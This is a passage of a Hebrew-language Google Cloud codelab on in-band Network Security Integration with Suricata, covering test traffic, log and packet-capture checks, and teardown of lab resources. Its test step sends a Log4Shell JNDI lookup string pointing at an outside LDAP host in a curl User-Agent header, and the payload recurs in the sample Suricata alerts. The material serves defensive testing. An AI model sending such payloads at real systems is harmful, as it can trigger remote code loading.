קוד התגובה 000 HTTP הוא קוד לא רשמי ולא סטנדרטי שמשמש תוכנות מסוימות כדי לציין שלא התקבל קוד סטטוס של HTTP תקין. המשמעות היא שהבקשה נחסמה על ידי חומת האש.

  1. כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit
  1. התחברות למכונה וירטואלית ב-SSH באזור ‎ $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \
   --zone $zoneb 
  1. באופן דומה, שולחים תנועת בדיקה:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

הפלט אמור להיראות כך:

200
  1. שליחת בקשת log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

הפלט אמור להיראות כך:

000
  1. כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit
  1. חיבור SSH למכונה וירטואלית באזור $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \
   --zone $zonec
  1. באופן דומה, שולחים תנועת בדיקה:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2

הפלט אמור להיראות כך:

200
  1. שליחת בקשת log4j:
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2 

הפלט אמור להיראות כך:

200

שימו לב שהבקשה הזו בוצעה. זה צפוי כי לא הגדרתם את NSI עם $zonec. לקבוצת נקודות הקצה של היירוט יש רק שיוכים ל-‎ $zonea ול-‎ $zoneb.

  1. כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit

אימות לכך ש-Suricata קיבלה את הבקשות הזדוניות וחוסמת אותן

  1. מתחברים ב-SSH למכונת Suricata הווירטואלית באזור ‎ $zonea (suricata-$zonea), כדי לבדוק את היומנים:
gcloud compute ssh suricata-$zonea \
   --zone $zonea
  1. צפייה ביומנים אחרי סינון לפי סוג המתקפה:
cat /var/log/suricata/eve.json | grep log4j

יכול להיות שיוצגו לכם כמה רשומות. אם לא מופיעות רשומות, צריך לבדוק את היומנים של מכונת ה-VM של Suricata ב-‎ $zoneb. פלט לדוגמה:

{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
  1. כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit

אופציונלי, אפשר להתחבר ב-SSH למכונה הווירטואלית של Suricata באזור ‎ $zoneb (suricata-$zoneb) ולאמת את היומנים

gcloud compute ssh suricata-$zoneb \
   --zone $zoneb

צפייה ביומנים אחרי סינון לפי סוג המתקפה:

cat /var/log/suricata/eve.json | grep log4j

פלט לדוגמה:

{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}

בנוסף, לכידת חבילות היא דרך טובה לראות את תעבורת הנתונים ולאמת אותה.

הפקודה הזו תסנן חבילות GENEVE. פקודה לדוגמה:

sudo tcpdump -i any -nn udp port 6081

עכשיו שולחים תנועת מבחן מ-VM של צרכן. פלט לדוגמה:

05:53:50.719074 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.719190 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0
05:53:50.728752 ens4  In  IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
05:53:50.728785 ens4  Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0

שימו לב שעם tcpdump אפשר לראות את כותרות ה-GENEVE. כתובת ה-IP של המקור היא של שער תת-הרשת (10.0.0.1) וכתובת ה-IP של היעד היא של כלל ההעברה (10.0.0.11 או 10.0.0.12). החבילות שעברו אנקפסולציה מכילות את החבילות המקוריות – כתובת ה-IP של הלקוח consumer-$zonea ‏ (192.168.0.2) או consumer-$zoneb ‏ (192.168.0.3) והיעד google.com. זה מאשר שהחבילות נחטפות ונשלחות למכשיר של צד שלישי דרך Network Security Integration.

  1. כדי לחזור ל-Cloud Shell, יוצאים מסשן ה-SSH.
exit

מעולה. הצלחת לפרוס ולבדוק סביבה עם Network Security Integration (NSI) בתוך פס התדרים.

5. הסרת המשאבים

צרכן

מוחקים את המכונות הווירטואליות לצרכנים:

gcloud compute instances delete consumer-$zonea \
   --zone $zonea -q

gcloud compute instances delete consumer-$zoneb \
   --zone $zoneb -q

gcloud compute instances delete consumer-$zonec \
   --zone $zonec -q

מחיקת שיוך ומדיניות של חומת אש:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy consumer-fwpolicy \
        --name consumer-fwpolicy-association \
        --global-firewall-policy -q

gcloud compute network-firewall-policies delete consumer-fwpolicy \
     --global -q

מחיקת קבוצת פרופילים של אבטחה ופרופיל אבטחה:

gcloud network-security security-profile-groups delete nsi-spg \
   --organization=$org_id \
   --project=$project_id \
  --location=global -q

gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
    --organization $org_id \
    --location global -q

מחיקת שיוך של נקודת קצה ויירוט של קבוצות נקודות קצה:

gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
    --location global -q


gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
    --location global -q

מחיקת Cloud NAT,‏ Cloud Router וכתובת IP שמורה

gcloud compute routers nats delete consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region -q 

gcloud compute routers delete consumer-$region-cr \
    --region=$region -q

gcloud compute addresses delete consumer-$region-cloudnatip \
     --region=$region -q

מחיקת רשתות VPC ורשתות משנה

gcloud compute networks subnets delete consumer-$region-subnet \
   --region $region -q

gcloud compute networks delete consumer-vpc -q

Producer

מחיקת פריסות של חסימות:

gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
    --location $zonea -q

gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
    --location $zoneb -q

מחיקת קבוצת פריסה של חסימת שיחות (הפריסות של חסימת השיחות צריכות להסתיים לפני שהפקודה הזו תצליח):

gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
    --location global -q

מחיקת כללי העברה:

gcloud compute forwarding-rules delete producer-fr-$zonea \
   --region=projects/$project_id/regions/$region -q

gcloud compute forwarding-rules delete producer-fr-$zoneb \
   --region=projects/$project_id/regions/$region -q

מחיקת כתובת IP שמורה של כלל העברה:

gcloud compute addresses delete producer-fr-$zonea-ip \
    --region $region -q

gcloud compute addresses delete producer-fr-$zoneb-ip \
    --region $region -q

מחיקת שירות קצה עורפי:

gcloud compute backend-services delete producer-bes \
  --region=projects/$project_id/regions/$region -q

מחיקת קבוצות של מכונות לא מנוהלות:

gcloud compute instance-groups unmanaged delete  producer-$zonea-uig \
   --zone $zonea -q

gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \
   --zone $zoneb -q

מחיקת בדיקת תקינות:

gcloud compute health-checks delete nva-hc -q

מחיקת מכונות וירטואליות של Producer:

gcloud compute instances delete suricata-$zonea \
   --zone $zonea -q

gcloud compute instances delete suricata-$zoneb \
   --zone $zoneb -q

מוחקים את Cloud NAT, את Cloud Router ואת כתובת ה-IP השמורה:

gcloud compute routers nats delete producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region -q

gcloud compute routers delete producer-$region-cr \
  --region=$region -q

gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q

מוחקים את השיוך של מדיניות חומת האש:

gcloud compute network-firewall-policies associations delete \
        --firewall-policy producer-fwpolicy \
        --name producer-fwpolicy-association \
        --global-firewall-policy -q

מוחקים את מדיניות חומת האש:

gcloud compute network-firewall-policies delete producer-fwpolicy \
  --global -q

מחיקת רשת ה-VPC והתת-רשת

gcloud compute networks subnets delete producer-$region-subnet \
--region=$region -q

gcloud compute networks delete producer-vpc -q

6. מעולה!

כל הכבוד, סיימתם בהצלחה את ה-Codelab בנושא Network Security Integration בתוך פס התדרים עם Suricata.

צפייה בסרטוני הדגמה ספציפיים לספק של NSI בתוך פס:

Palo Alto Networks

Fortinet

כדאי לעיין במדריכי הפריסה הספציפיים לספקים שעשויים להיות רלוונטיים לארגון שלכם:

Palo Alto Networks

Fortinet

Checkpoint